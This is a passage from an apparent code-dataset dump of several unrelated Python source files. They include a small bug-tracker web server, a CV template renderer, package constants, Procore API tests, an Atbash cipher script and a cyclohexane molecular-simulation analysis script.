compresslevel=9):\n \"\"\" Compress data in one shot. Returns the compressed string.\n Optional argument is the compression level, in range of 1-9. \"\"\"\n \n bf = io.BytesIO(b'')\n f = gzip.GzipFile(fileobj = bf, mode = 'wb', compresslevel = compresslevel)\n f.write(data)\n f.close()\n\n return bf.getvalue()\n\ndef decompress(data):\n \"\"\" Decompress a gzip compressed string in one shot.\n Returns the decompressed string. \"\"\"\n\n f = gzip.GzipFile(fileobj = io.BytesIO(data))\n return f.read() \n\n# parse a xxx-url-form-encoded request\ndef parse_form_urlencoded_request(request_body):\n var_alist = {}\n request_body = nbt_global.unicode_32(request_body)\n for i in request_body.split('&'):\n if i != \"\":\n nv = i.split('=')\n var_alist[nv[0]] = urllib.parse.unquote_plus(nv[1]) if nbt_global.python_version == '3' else urllib.unquote_plus(nv[1])\n return var_alist\n\n# parse a multipart/form-data post request\ndef parse_multipart_formdata_request(request_body):\n request_tokens = request_body.split('\\r\\n') # sends CR LF\n var_alist = {}\n\n # remove unwanted chars\n for i in request_tokens:\n if re.compile('^([-]+)([\\w]*)([-]*)').search(i):\n request_tokens.remove(i)\n if i == \"\":\n request_tokens.remove(i)\n \n index = 0\n\n for i in request_tokens:\n tmpname = re.compile('Content-Disposition: form-data; name=\"([\\w]+)\"$').search(i)\n\n if tmpname != None:\n request_tokens[index] = ' '.join(i for i in list(tmpname.groups()))\n index = index + 1\n\n while(len(request_tokens) != 0):\n try:\n name = request_tokens.pop(0)\n value = request_tokens.pop(0)\n var_alist[name] = value \n except IndexError:\n break\n\n return var_alist\n\ndef startup():\n port_to_run = 8765 # default port\n \n try:\n if len(sys.argv) == 2:\n port_to_run = argv[1]\n \n try:\n webbrowser.open_new_tab('http://localhost:'+str(port_to_run))\n except:\n pass\n\n print(\"Open http://localhost:\"+str(port_to_run)+\" in your browser...\")\n httpd = make_server('', port_to_run, nbugtrack)\n httpd.serve_forever()\n except KeyboardInterrupt:\n exit()\n\nif __name__ == '__main__':\n startup()\n","repo_name":"codepongo/nbugtrack","sub_path":"nbugtrack/nbugtrack.py","file_name":"nbugtrack.py","file_ext":"py","file_size_in_byte":9399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"23788586645","text":"#!/usr/bin/env python\n\"\"\"build CVs.\n\nThis lazy script builds all the resume datafiles in data/ with all the resume\ntemplates in tpl and puts them in the current directory\n\"\"\"\n\nimport yaml\nfrom glob import glob\nfrom jinja2 import Template\n\ndef run():\n ftemplate = glob('matcha-cv/tpl/*.jinja2')\n datafiles = glob('matcha-cv/data/*.yml')\n # just keep the base names in a very dirty but working way\n data = { df.split('/')[-1][0:-4]: yaml.load(open(df)) for df in datafiles }\n tpls = { t.split('/')[-1][0:-7]: Template(open(t, 'rb').read().decode('utf-8')) for t in ftemplate }\n for t_name, t in tpls.items():\n for d_name, d in data.items():\n o = t.render(cv=d)\n out_name = d.get('options', {}).get('force_file_name') or './{d_name}.{t_name}'.format(d_name=d_name, t_name=t_name)\n with open('public/{oo}'.format(oo=out_name), 'w') as fh:\n fh.write(o)\n print(o)\n\nif __name__ == '__main__':\n run()\n","repo_name":"matchaxnb/matcha-cv","sub_path":"matcha-cv/rendercv.py","file_name":"rendercv.py","file_ext":"py","file_size_in_byte":980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"39097823254","text":"# save all constant variables used by the package\nCODE_TYPES = ['tbd']\nSPECIAL_TOKEN_DICT = {'tbd':['','']}\n\nUNKNOWN_TOKEN = ''\n\nmodel_max_length = 512\n\neps = 1e-16\n\n# PRETRAINED_MODEL_URL = 'https://uofi.box.com/shared/static/cu09as2bmotrr9bejsfgumv6yx46mmfw.zip'\nPRETRAINED_MODEL_URL = 'https://storage.googleapis.com/pytrial/promptEHR_pretrained.zip'\n\nSYNTHETIC_DATA_URL = 'https://github.com/RyanWangZf/PromptEHR/raw/main/demo_data/synthetic_ehr/data.pkl'\n\n# a name mapping from the original promptehr config to the training_args\nconfig_to_train_args = {\n 'epochs': 'num_train_epochs',\n 'num_worker': 'dataloader_num_workers',\n 'batch_size': 'per_device_train_batch_size',\n 'eval_batch_size': 'per_device_eval_batch_size',\n 'eval_step': 'eval_steps',\n}","repo_name":"RyanWangZf/PromptEHR","sub_path":"promptehr/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"78"}
+{"seq_id":"71480258492","text":"\"\"\"fpack is a simple message (de)seriealizer in pure python\n\"\"\"\n\nfrom fpack.fields import *\nfrom fpack.msg import *\n\n__version__ = \"1.0.3\"\n__author__ = \"Frank Chang\"\n__author_email__ = \"frank@csie.io\"\n__license__ = \"BSD\"\n__all__ = [\n \"Field\",\n \"Uint8\",\n \"Uint16\",\n \"Uint32\",\n \"Uint64\",\n \"Int8\",\n \"Int16\",\n \"Int32\",\n \"Int64\",\n \"Bytes\",\n \"String\",\n \"Array\",\n \"field_factory\",\n \"array_field_factory\",\n \"Message\",\n]\n","repo_name":"frankurcrazy/fpack","sub_path":"fpack/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"}
+{"seq_id":"1603712794","text":"import os\nimport sys\nimport pathlib\nPATH_TO_TOP = f\"{pathlib.Path(__file__).resolve().parent.parent.parent}\"\nsys.path.insert(0, PATH_TO_TOP)\n\nfrom dotenv import load_dotenv\n\nfrom propycore import procore\n\nclass TestFunctionality:\n\n def __init__(self) -> None:\n\n if os.getenv(\"CLIENT_ID\") is None:\n load_dotenv()\n\n self.connection = procore.Procore(\n client_id=os.getenv(\"CLIENT_ID\"),\n client_secret=os.getenv(\"CLIENT_SECRET\"),\n redirect_uri=os.getenv(\"REDIRECT_URI\"),\n oauth_url=os.getenv(\"OAUTH_URL\"),\n base_url=os.getenv(\"BASE_URL\")\n )\n\n def test_connection(self):\n assert self.connection is not None\n\n def test_company_listing(self):\n temp_company_list = self.connection.__companies__.get()\n assert temp_company_list is list\n\n def test_project_listing(self):\n company_list = self.connection.__companies__.get()\n temp_company = company_list[0]\n temp_projects = self.connection.__projects__.get(company_id=temp_company)\n assert temp_projects is list\n\n def test_find_company(self):\n company = self.connection.find_company(identifier=\"DataPull\")\n assert company is dict\n\n def test_find_project(self):\n company = self.connection.find_company(identifier=\"DataPull\")\n project = self.connection.find_project(\n company_id=company[\"id\"],\n identifier=\"R&D test Project\"\n )\n assert project is dict\n\n def test_find_dir(self):\n dir_ids = self.connection.find_dir(\n company=\"DataPull\",\n project=\"R&D Test Project\",\n folderpath=\"/I-Safety and Environmental/3-Orientations and Training/Subcontractors Orientation\"\n )\n assert dir_ids is list\n\nif __name__ == \"__main__\":\n test_connection = TestFunctionality()","repo_name":"rogers-obrien-rad/ProPyCore","sub_path":"tests/integration/test_procore_functionality.py","file_name":"test_procore_functionality.py","file_ext":"py","file_size_in_byte":1871,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"32636739151","text":"import time\nfrom subprocess import call\n\natbash = {'A' : 'Z', 'B' : 'Y', 'C' : 'X', 'D' : 'W', 'E' : 'V',\n 'F' : 'U', 'G' : 'T', 'H' : 'S', 'I' : 'R', 'J' : 'Q',\n 'K' : 'P', 'L' : 'O', 'M' : 'N', 'N' : 'M', 'O' : 'L',\n 'P' : 'K', 'Q' : 'J', 'R' : 'I', 'S' : 'H', 'T' : 'G',\n 'U' : 'F', 'V' : 'E', 'W' : 'D', 'X' : 'C', 'Y' : 'B', 'Z' : 'A', '.':'?', '?':'.'}\n\ndef atbash_cypher(message):\n finalMessage = \"\"\n for letter in message.upper():\n if letter != \" \":\n finalMessage += atbash[letter]\n else:\n finalMessage += \" \"\n\n finalMessage = finalMessage.lower().capitalize()\n\n return finalMessage\n\n# Atbash to Text \ndef Atbash_Text():\n messageInput = str(input(\"Dime la frase: \"))\n\n contador = 0\n while contador < 1:\n call('clear')\n # time.sleep(5)\n call('clear')\n contador = contador+1\n\n call('clear')\n print(\"-------------------------\")\n print(f\"El texto dice: {atbash_cypher(messageInput)}\")\n print(\"-------------------------\")\n\n# Text to Atbash\ndef Text_Atbash():\n\n messageInput = str(input(\"Dime la frase: \"))\n\n contador = 0\n while contador < 1:\n call('clear')\n # time.sleep(5)\n call('clear')\n contador = contador+1\n\n call('clear')\n print(\"-------------------------\")\n print(f\"El texto dice: {atbash_cypher(messageInput)}\")\n print(\"-------------------------\")\n\n\n\ncontador = 0\nwhile contador == 0:\n\n Option = input(\"\"\" Which option you want\n Atbash -> Text (1)\n Text -> Atbash (2)\n \"\"\")\n\n if Option == \"1\":\n Atbash_Text()\n # contador = contador+1\n elif Option == \"2\":\n Text_Atbash()\n # contador = contador+1\n elif Option == \"quit\" or Option == \"q\":\n contador = contador+1\n\n# -----------------------------------------------------------------------\n\n# from subprocess import call \n# import subprocess\n\n# openFile = open('C:/Users/juansebastian/Desktop/notas.py')\n# openFile.read()\n\n# subprocess.run([\"ls\", \"-l\"])","repo_name":"Trex-Codes/Incremento_Decremento","sub_path":"Python Script Tools/59.0 Atbash_Decoder.py","file_name":"59.0 Atbash_Decoder.py","file_ext":"py","file_size_in_byte":2108,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"72580517051","text":"import glob\nfrom sys import exit\nfrom sys import argv\nfrom pdb import set_trace\nimport netCDF4 as nc\nimport mdtraj as md\nfrom simtk.openmm.app import *\nfrom simtk.openmm import *\nfrom simtk.unit import *\nimport numpy as np\nimport pandas as pd\nimport pymbar as mb\nfrom pymbar import timeseries\nfrom collections import OrderedDict\nfrom smarty import *\nfrom openforcefield.typing.engines.smirnoff import *\nfrom openforcefield.utils import get_data_filename, generateTopologyFromOEMol, read_molecules\nimport mdtraj as md\nfrom itertools import product\nimport pickle\n#-------------------------------------------------\ndef read_traj(ncfiles,indkeep=0):\n \"\"\"\n Take multiple .nc files and read in coordinates in order to re-valuate energies based on parameter changes\n\n Parameters\n -----------\n ncfiles - a list of trajectories in netcdf format\n\n Returns\n ----------\n data - all of the data contained in the netcdf file\n xyzn - the coordinates from the netcdf in angstroms\n \"\"\"\n\n data = nc.Dataset(ncfiles)\n \n xyz = data.variables['coordinates']\n xyzn = np.float64(xyz[indkeep:-2])#Quantity(xyz[indkeep:-2].data, angstroms)\n \n lens = data.variables['cell_lengths']\n lensn = np.float64(lens[indkeep:-2])#Quantity(lens[indkeep:-2], angstroms)\n\n angs = data.variables['cell_angles']\n angsn = np.float64(angs[indkeep:-2])#Quantity(lens[indkeep:-2], angstroms)\n \n return data, xyzn, lensn, angsn\n#------------------------------------------------------------------\ndef read_traj_vac(ncfiles,indkeep=0):\n\n data = nc.Dataset(ncfiles)\n\n xyz = data.variables['coordinates']\n xyzn = np.float64(xyz[indkeep:-2])#Quantity(xyz[indkeep:-2].data, angstroms)\n\n return data, xyzn\n#------------------------------------------------------------------\ndef get_energy(system, positions, vecs):\n \"\"\"\n Return the potential energy.\n Parameters\n ----------\n system : simtk.openmm.System\n The system to check\n positions : simtk.unit.Quantity of dimension (natoms,3) with units of length\n The positions to use\n vecs : simtk.unit.Quantity of dimension 3 with unit of length\n Box vectors to use \n Returns\n ---------\n energy\n \"\"\"\n \n integrator = mm.VerletIntegrator(1.0 * femtoseconds)\n platform = mm.Platform.getPlatformByName('CPU')\n \n context = mm.Context(system, integrator, platform)\n context.setPositions(positions*0.1)\n vecs = [0.1*a for a in vecs]\n vecs = np.array(vecs)\n #print vecs \n context.setPeriodicBoxVectors(*vecs)\n state = context.getState(getEnergy=True)\n energy = state.getPotentialEnergy() \n return energy\n#------------------------------------------------------------------\ndef get_energy_vac(system, positions):\n \"\"\"\n Return the potential energy.\n Parameters\n ----------\n system : simtk.openmm.System\n The system to check\n positions : simtk.unit.Quantity of dimension (natoms,3) with units of length\n The positions to use\n\n Returns\n ---------\n energy\n \"\"\"\n\n integrator = mm.VerletIntegrator(1.0 * femtoseconds)\n platform = mm.Platform.getPlatformByName('CPU')\n \n context = mm.Context(system, integrator, platform)\n context.setPositions(positions*0.1)\n state = context.getState(getEnergy=True)\n energy = state.getPotentialEnergy()\n #print energy\n return energy\n\n#---------------------------------------------------\ndef new_param_energy(coords, params, topology, vecs, P=1.01, T=300.):\n \"\"\"\n Return potential energies associated with specified parameter perturbations.\n Parameters\n ----------\n coords: coordinates from the simulation(s) ran on the given molecule\n params: arbitrary length dictionary of changes in parameter across arbitrary number of states. Highest level key is the molecule AlkEthOH_ID,\n second level of keys are the new state, the values of each of these subkeys are a arbitrary length list of length 3 lists where the\n length 3 lists contain information on a parameter to change in the form: [SMIRKS, parameter type, parameter value]. I.e. :\n\n params = {'AlkEthOH_c1143':{'State 1':[['[6X4:1]-[#1:2]','k','620'],['[6X4:1]-[#6X4:2]','length','1.53'],...],'State 2':[...],...}}\n P: Pressure of the system. By default set to 1.01 bar.\n T: Temperature of the system. By default set to 300 K.\n\n Returns\n -------\n E_kn: a kxN matrix of the dimensional energies associated with the forcfield parameters used as input\n u_kn: a kxN matrix of the dimensionless energies associated with the forcfield parameters used as input\n \"\"\"\n\n #-------------------\n # CONSTANTS\n #-------------------\n kB = 0.0083145 #Boltzmann constant (Gas constant) in kJ/(mol*K)\n beta = 1/(kB*T)\n\n #-------------------\n # PARAMETERS\n #-------------------\n params = params\n\n # Determine number of states we wish to estimate potential energies for\n mol2files = []\n for i in params:\n mol2files.append('monomers/'+i.rsplit(' ',1)[0]+'.mol2')\n # mol2files.append('monomers/'+i.rsplit(' ',1)[1]+'.mol2')\n #print mol2files\n #mol = 'Mol2_files/'+mols[0]+'.mol2'\n #K = len(params[mols[0]].keys())\n\n\n #if np.shape(params) != np.shape(N_k): raise \"K_k and N_k must have same dimensions\"\n\n\n # Determine max number of samples to be drawn from any state\n\n #mol2files = ['monomers/'+sys.argv[1]+'.mol2','monomers/'+sys.argv[4]+'.mol2']\n\n flavor = oechem.OEIFlavor_Generic_Default | oechem.OEIFlavor_MOL2_Default | oechem.OEIFlavor_MOL2_Forcefield\n mols = []\n mol = oechem.OEMol()\n for mol2file in mol2files:\n ifs = oechem.oemolistream(mol2file)\n ifs.SetFlavor( oechem.OEFormat_MOL2, flavor)\n mol = oechem.OEGraphMol()\n while oechem.OEReadMolecule(ifs, mol):\n oechem.OETriposAtomNames(mol)\n mols.append(oechem.OEGraphMol(mol))\n K = len(params['cyclohexane'].keys())\n \n # Load forcefield file\n ffxml = get_data_filename('forcefield/smirnoff99Frosst.ffxml')\n ff = ForceField(ffxml)\n\n # Generate a topology\n #from smarty.forcefield import generateTopologyFromOEMol\n top = topology#generateTopologyFromOEMol(mol)\n \n #-----------------\n # MAIN\n #-----------------\n\n # Calculate energies\n\n E_kn = np.zeros([K,len(coords)],np.float64)\n u_kn = np.zeros([K,len(coords)],np.float64)\n for i,j in enumerate(params):\n AlkEthOH_id = j\n for k,l in enumerate(params[AlkEthOH_id]):\n for m,n in enumerate(params[AlkEthOH_id][l]):\n newparams = ff.getParameter(smirks=n[0])\n newparams[n[1]]=n[2]\n ff.setParameter(newparams,smirks=n[0])\n system = ff.createSystem(top,mols,nonbondedMethod=PME,nonbondedCutoff=12.*angstroms)\n barostat = MonteCarloBarostat(P*bar, T*kelvin, 25)\n system.addForce(barostat)\n \n #print system\n \n for o,p in enumerate(coords):\n e = get_energy(system,p,vecs[o])\n #print o,e\n E_kn[k,o] = e._value\n u_kn[k,o] = e._value*beta\n \n\n return E_kn,u_kn\n\ndef new_param_energy_vac(coords, params, T=300.):\n \"\"\"\n Return potential energies associated with specified parameter perturbations.\n Parameters\n ----------\n coords: coordinates from the simulation(s) ran on the given molecule\n params: arbitrary length dictionary of changes in parameter across arbitrary number of states. Highest level key is the molecule AlkEthOH_ID,\n second level of keys are the new state, the values of each of these subkeys are a arbitrary length list of length 3 lists where the\n length 3 lists contain information on a parameter to change in the form: [SMIRKS, parameter type, parameter value]. I.e. :\n\n params = {'AlkEthOH_c1143':{'State 1':[['[6X4:1]-[#1:2]','k','620'],['[6X4:1]-[#6X4:2]','length','1.53'],...],'State 2':[...],...}}\n T: Temperature of the system. By default set to 300 K.\n\n Returns\n -------\n E_kn: a kxN matrix of the dimensional energies associated with the forcfield parameters used as input\n u_kn: a kxN matrix of the dimensionless energies associated with the forcfield parameters used as input\n \"\"\"\n\n #-------------------\n # CONSTANTS\n #-------------------\n kB = 0.0083145 #Boltzmann constant (Gas constant) in kJ/(mol*K)\n beta = 1/(kB*T)\n\n #-------------------\n # PARAMETERS\n #-------------------\n params = params\n \n # Determine number of states we wish to estimate potential energies for\n mols = []\n for i in params:\n mols.append(i)\n mol = 'monomers/'+mols[0]+'.mol2'\n K = len(params[mols[0]].keys())\n\n\n #if np.shape(params) != np.shape(N_k): raise \"K_k and N_k must have same dimensions\"\n\n\n # Determine max number of samples to be drawn from any state\n\n #-------------\n # SYSTEM SETUP\n #-------------\n verbose = False # suppress echos from OEtoolkit functions\n ifs = oechem.oemolistream(mol)\n mol = oechem.OEMol()\n # This uses parm@frosst atom types, so make sure to use the forcefield-flavor reader\n flavor = oechem.OEIFlavor_Generic_Default | oechem.OEIFlavor_MOL2_Default | oechem.OEIFlavor_MOL2_Forcefield\n ifs.SetFlavor( oechem.OEFormat_MOL2, flavor)\n oechem.OEReadMolecule(ifs, mol )\n # Perceive tripos types\n oechem.OETriposAtomNames(mol)\n\n # Load forcefield file\n ffxml = get_data_filename('forcefield/smirnoff99Frosst.ffxml')\n ff = ForceField(ffxml)\n\n # Generate a topology\n #from smarty.forcefield import generateTopologyFromOEMol\n topology = generateTopologyFromOEMol(mol)\n\n #-----------------\n # MAIN\n #-----------------\n\n # Calculate energies\n\n E_kn = np.zeros([K,len(coords)],np.float64)\n u_kn = np.zeros([K,len(coords)],np.float64)\n for i,j in enumerate(params):\n AlkEthOH_id = j\n for k,l in enumerate(params[AlkEthOH_id]):\n for m,n in enumerate(params[AlkEthOH_id][l]):\n newparams = ff.getParameter(smirks=n[0])\n newparams[n[1]]=n[2]\n ff.setParameter(newparams,smirks=n[0])\n system = ff.createSystem(topology, [mol])\n for o,p in enumerate(coords):\n e = get_energy_vac(system,p)\n E_kn[k,o] = e._value\n u_kn[k,o] = e._value*beta\n\n\n return E_kn,u_kn\n\n#----------------------------------------------------\ndef subsampletimeseries(timeser,xyzn,N_k):\n \"\"\"\n Return a subsampled timeseries based on statistical inefficiency calculations.\n Parameters\n ----------\n timeser: the timeseries to be subsampled\n xyzn: the coordinates associated with each frame of the timeseries to be subsampled\n N_k: original # of samples in each timeseries\n\n Returns\n ---------\n N_k_sub: new number of samples per timeseries\n ts_sub: the subsampled timeseries\n xyz_sub: the subsampled configuration series\n \"\"\"\n # Make a copy of the timeseries and make sure is numpy array of floats\n ts = timeser\n xyz = xyzn\n\n # initialize array of statistical inefficiencies\n g = np.zeros(len(ts),np.float64)\n\n\n for i,t in enumerate(ts):\n if np.count_nonzero(t)==0:\n g[i] = np.float(1.)\n print( \"WARNING FLAG\")\n else:\n g[i] = 2.*timeseries.statisticalInefficiency(t)\n\n N_k_sub = np.array([len(timeseries.subsampleCorrelatedData(t,g=b)) for t, b in zip(ts,g)])\n ind = [timeseries.subsampleCorrelatedData(t,g=b) for t,b in zip(ts,g)]\n\n if (N_k_sub == N_k).all():\n ts_sub = ts\n xyz_sub = xyz\n print( \"No sub-sampling occurred\")\n else:\n print( \"Sub-sampling...\")\n ts_sub = np.array([t[timeseries.subsampleCorrelatedData(t,g=b)] for t,b in zip(ts,g)])\n #for c in xyz:\n # xyz_sub = [c[timeseries.subsampleCorrelatedData(t,g=b)] for t,b in zip(ts,g)]\n for i,j in enumerate(xyz):\n xyz_sub = [j[ii] for ii in ind[i]]\n\n return ts_sub, N_k_sub, xyz_sub, ind\n#-------------------------------------------------------------------------\n\nkB = 0.0083145 #Boltzmann constant (kJ/mol/K)\nT = 293.15 #Temperature (K)\nN_Av = 6.02214085774e23 #particles per mole\nN_part = 250. #particles of cyclohexane in box\n\nfiles = glob.glob('cyclohexane_250_*1fsts.csv')\n#files = ['cyclohexane_250_[#6X4:1]_epsilon0.1094_rmin_half1.9080_wAllConstraints_2fsts.csv']\nfile_strings = [i.rsplit('.',1)[0].rsplit('_',1)[0].split('_',2)[2] for i in files]\n#print(file_strings)\nfile_str = set(file_strings)\n\nfile_tups_sd = [['cyclohexane_250_'+i+'_1fsts.csv'] for i in file_str]\nfile_tups_sd_vac = [['cyclohexane_'+i+'_vacuum_0.8fsts.csv'] for i in file_str]\n\n#print(file_tups_sd_vac)\nparams = [j.rsplit('.',1)[0].rsplit('_') for i in file_tups_sd for j in i]\nparams = [[i[3][7:],i[5][4:],i[7][7:],i[9][4:]] for i in params]\n\nMMcyc = 84.15948 #g/mol\n\n \nstates_sd = [[] for i in file_tups_sd]\nener_orig = [[] for i in file_tups_sd]\nener_orig_vac = [[] for i in file_tups_sd]\nvol_orig = [[] for i in file_tups_sd]\nburnin = 1000\nburnin_vac = 1000\nfor j,i in enumerate(file_tups_sd): \n print( i)\n try:\n datasets = [pd.read_csv(ii,sep=',')[burnin:-1] for ii in i]\n merged = pd.concat(datasets)\n #if len(merged[\"Potential Energy (kJ/mole)\"]) < 2000.:\n # print(i)\n # print(\"this on is short\")\n # continue\n except IndexError:\n print( \"The state data record had fewer than %s frames\") %(burnin)\n for e,dens in zip(merged[\"Potential Energy (kJ/mole)\"],merged[\"Density (g/mL)\"]):\n ener_orig[j].append(e + N_part*101000.*1.e-3*1.e-6*MMcyc*dens**(-1))\n vol_orig[j].append(MMcyc*dens**(-1))\n print(np.mean(merged[\"Temperature (K)\"]))\n states_sd[j].append(i[0].rsplit('.',1)[0])\n\nfor j,i in enumerate(file_tups_sd_vac):\n try:\n print(i)\n datasets = [pd.read_csv(ii,sep=',')[burnin_vac:-1] for ii in i]\n merged = pd.concat(datasets)\n #if len(merged[\"Potential Energy (kJ/mole)\"]) < 2000.:\n # print(i)\n # print(\"this on is short\")\n # continue\n except IndexError:\n print( \"The state data record had fewer than %s frames\") %(burnin)\n for e in merged[\"Potential Energy (kJ/mole)\"]:\n ener_orig_vac[j].append(e)\n\n#print([len(i) for i in vol_orig])\n#print([len(i) for i in ener_orig])\n#print([len(i) for i in ener_orig_vac])\n#print(states_sd)\n#print(params)\n#print(len(params))\n#print(len(vol_orig))\n#print([np.mean(j) for j in vol_orig])\n\nstate_coord = params\nparam_types = ['epsilon','rmin_half']\nener_orig_sub = [[] for i in ener_orig]\nvol_orig_sub = [[] for i in vol_orig]\nener_orig_vac_sub = [[] for i in ener_orig_vac]\nN_k_sub = []\nN_k_vac_sub = []\n# Re-evaluate energies from original parameter state to subsample and use that indexing for the other energies and MBAR calculations\nfor ii,value in enumerate(ener_orig): \n print(file_tups_sd[ii])\n ts = [value]\n g = np.zeros(len(ts),np.float64)\n\n for i,t in enumerate(ts):\n if np.count_nonzero(t)==0:\n g[i] = np.float(1.)\n print( \"WARNING FLAG\")\n print(file_tups_sd[ii])\n else:\n g[i] = timeseries.statisticalInefficiency(t)\n\n N_k_sub.append([len(timeseries.subsampleCorrelatedData(t,g=b)) for t, b in zip(ts,g)][0])\n ind = [timeseries.subsampleCorrelatedData(t,g=b) for t,b in zip(ts,g)]\n inds = ind[0]\n print(\"Sub-sampling\")\n ener_sub = [value[j] for j in inds]\n vol_sub = [vol_orig[ii][j] for j in inds]\n #if (N_k_sub == N_k).all():\n # ts_sub = ts\n # xyz_sub = xyz\n # print( \"No sub-sampling occurred\")\n #else:\n \n #ts_sub = np.array([t[timeseries.subsampleCorrelatedData(t,g=b)] for t,b in zip(ts,g)])\n \n ener_orig_sub[ii] = ener_sub\n vol_orig_sub[ii] = vol_sub\n\nfor ii,value in enumerate(ener_orig_vac):\n print(file_tups_sd_vac[ii])\n ts = [value]\n g = np.zeros(len(ts),np.float64)\n\n for i,t in enumerate(ts):\n if np.count_nonzero(t)==0:\n g[i] = np.float(1.)\n print( \"WARNING FLAG\")\n print(file_tups_sd_vac[ii])\n else:\n g[i] = timeseries.statisticalInefficiency(t)\n\n N_k_vac_sub.append([len(timeseries.subsampleCorrelatedData(t,g=b)) for t, b in zip(ts,g)][0])\n ind = [timeseries.subsampleCorrelatedData(t,g=b) for t,b in zip(ts,g)]\n inds_vac = ind[0]\n print(\"Sub-sampling\")\n ener_vac_sub = [value[j] for j in inds_vac]\n \n #if (N_k_sub == N_k).all():\n # ts_sub = ts\n # xyz_sub = xyz\n # print( \"No sub-sampling occurred\")\n #else:\n\n #ts_sub = np.array([t[timeseries.subsampleCorrelatedData(t,g=b)] for t,b in zip(ts,g)])\n\n ener_orig_vac_sub[ii] = ener_vac_sub\n#print(len(ener_orig_sub))\nener_orig_sub = np.array(ener_orig_sub)\nener_orig_vac_sub = np.array(ener_orig_vac_sub)\nvol_orig_sub = np.array(vol_orig_sub)\n#Hvap = (np.mean(ener_orig_vac_sub) - (1/250.)*np.mean(ener_orig_sub)) + 101000.*1.e-3*(0.024465 - np.mean(vol_orig_sub)*1.e-6)\n\n#implement bootstrapping to get variance of Cp estimate\nV_boots = []\nE_boots = []\nener_orig_sub_boot = [[] for i in ener_orig_sub]\nvol_orig_sub_boot = [[] for i in vol_orig_sub]\nnBoots_work = 1000\nfor n in range(nBoots_work):\n for k in range(len(N_k_sub)):\n if N_k_sub[k] > 0:\n if (n == 0):\n booti = np.array(range(N_k_sub[k]),int)\n else:\n booti = np.random.randint(N_k_sub[k], size = N_k_sub[k])\n #print(k)\n #print(booti)\n #set_trace()\n ener_orig_sub_boot[k] = [ener_orig_sub[k][ind] for ind in booti]\n vol_orig_sub_boot[k] = [vol_orig_sub[k][ind] for ind in booti]\n E_bulk_sim = []\n #dCp_bulk_sim = []\n #Cp_vac_sim = []\n #dCp_vac_sim = []\n for i in ener_orig_sub_boot:\n E_mean = np.mean(i)\n #E2_mean = np.mean([(j)**2 for j in i])/(250.**2)\n #fluc = np.array([E2_mean - E_mean**2])#[(ii - E_mean)**2 for ii in i]\n #Cp_bulk_sim.append(fluc[0] / (kB * T**2))#np.mean(fluc) / (kB * T**2))\n E_bulk_sim.append(E_mean)\n #dCp_bulk_sim.append(np.std(fluc) / (kB * T**2))\n E_boots.append(E_bulk_sim)\n V_boots.append([np.mean(j) for j in vol_orig_sub_boot])\n\nE_boots_vert = np.column_stack(E_boots)\nV_boots_vert = np.column_stack(V_boots)\nE_bulk_sim = E_boots[0]\nV_sim = V_boots[0]\ndE_bulk_bootstrap = [np.std(i) for i in E_boots_vert]\ndV_bootstrap = [np.std(i) for i in V_boots_vert]\n\nE_vac_boots = []\nener_orig_vac_sub_boot = [[] for i in ener_orig_vac_sub]\nnBoots_work = 1000\nfor n in range(nBoots_work):\n for k in range(len(N_k_vac_sub)):\n if N_k_vac_sub[k] > 0:\n if (n == 0):\n booti = np.array(range(N_k_vac_sub[k]),int)\n else:\n booti = np.random.randint(N_k_vac_sub[k], size = N_k_vac_sub[k])\n #print(k)\n #print(booti)\n #set_trace()\n ener_orig_vac_sub_boot[k] = [ener_orig_vac_sub[k][ind] for ind in booti]\n \n E_vac_sim = []\n for i in ener_orig_vac_sub_boot:\n E_mean = np.mean(i)\n #E2_mean = np.mean([j**2 for j in i])\n #fluc = np.array([E2_mean - E_mean**2])#[(ii - E_mean)**2 for ii in i]\n #Cp_vac_sim.append(fluc[0] / (kB * T**2))#np.mean(fluc) / (kB * T**2))\n #dCp_vac_sim.append(np.std(fluc) / (kB * T**2))\n E_vac_sim.append(E_mean)\n E_vac_boots.append(E_vac_sim)\nE_vac_boots_vert = np.column_stack(E_vac_boots)\nE_vac_sim = E_vac_boots[0]\ndE_vac_bootstrap = [np.std(i) for i in E_vac_boots_vert]\n \nVol_sim = V_sim\ndVol_sim = dV_bootstrap\n\nHvap_sim = [((ener_vac - (1/250.)*ener) + 101000.*1.e-3*(0.024465 - v*1.e-6)) for ener_vac,ener,v in zip(E_vac_sim,E_bulk_sim,Vol_sim)]\ndHvap_sim = [np.sqrt(dener_vac**2 + ((1/250.)*dener)**2 + (101000.*1.e-3*1.e-6*dv)**2) for dener_vac,dener,dv in zip(dE_vac_bootstrap,dE_bulk_bootstrap,dVol_sim)]\n\neps1 = [float(i[0]) for i in params]\nrmin1 = [float(i[1]) for i in params]\neps2 = [float(i[2]) for i in params]\nrmin2 = [float(i[3]) for i in params]\n\n#print(eps)\n#print(len(eps))\n#print(rmin)\n#print(len(rmin))\nprint(Vol_sim)\nprint(len(Vol_sim))\n#print(dVol_sim)\n#print(len(dVol_sim))\nprint(Hvap_sim)\n#print(len(Cp_res_sim))\nprint(dHvap_sim)\n#print(len(dCp_res_sim))\n\ndf = pd.DataFrame(\n {'[#6X4:1]_eps_val': eps1,\n '[#6X4:1]_rmin_half_val': rmin1,\n '[1:1]-[#6X4]_eps_val': eps2,\n '[1:1]-[#6X4]_rmin_half_val': rmin2,\n 'Vol_sim (mL/mol)': Vol_sim,\n 'dVol_sim (mL/mol)': dVol_sim,\n 'Hvap_sim (kJ/mol)': Hvap_sim,\n 'dHvap_sim (kJ/mol)': dHvap_sim,\n 'E_bulk_sim (kJ/mol)': E_bulk_sim,\n 'dE_bulk_sim (kJ/mol)': dE_bulk_bootstrap,\n 'E_vac_sim (kJ/mol)': E_vac_sim,\n 'dE_vac_sim (kJ/mol)': dE_vac_bootstrap\n })\n\ndf.to_csv('cychex_simulated_observables_4D_param_changes.csv',sep=';')\nexit()\n\n# Re-evaluate energies from original parameter state to subsample and use that indexing for the other energies and MBAR calculations\nfor ii,value in enumerate(all_xyz_vac):\n 